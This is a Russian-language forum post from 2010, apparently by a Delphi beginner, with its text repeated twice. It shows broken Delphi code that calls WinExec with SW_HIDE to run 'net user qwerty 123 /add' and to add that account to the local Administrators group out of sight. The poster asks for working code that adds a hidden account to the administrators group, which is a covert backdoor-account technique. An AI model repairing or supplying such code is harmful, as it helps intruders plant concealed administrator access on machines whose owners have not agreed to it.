Axeee
27.03.2010, 11:14
Выдает ошибку константы.. при замене на реал, выдает уже на s1 в самом начале..
Пишет :
[Error] Unit1.pas(34): Statement expected but 'CONST' found
вот собственно сам код :
begin
const
s1 : pchar = 'net user qwerty 123 /add ';
const
s2 : pchar = 'net localgroup "Администраторы" qwerty /add';
end;
begin
WinExec(s1, SW_HIDE);
WinExec(s2, SW_HIDE);
или подскажите рабочий код добавления и скрытия учетки в группу администраторы..
Пишет :
[Error] Unit1.pas(34): Statement expected but 'CONST' found
вот собственно сам код :
begin
const
s1 : pchar = 'net user qwerty 123 /add ';
const
s2 : pchar = 'net localgroup "Администраторы" qwerty /add';
end;
begin
WinExec(s1, SW_HIDE);
WinExec(s2, SW_HIDE);
или подскажите рабочий код добавления и скрытия учетки в группу администраторы..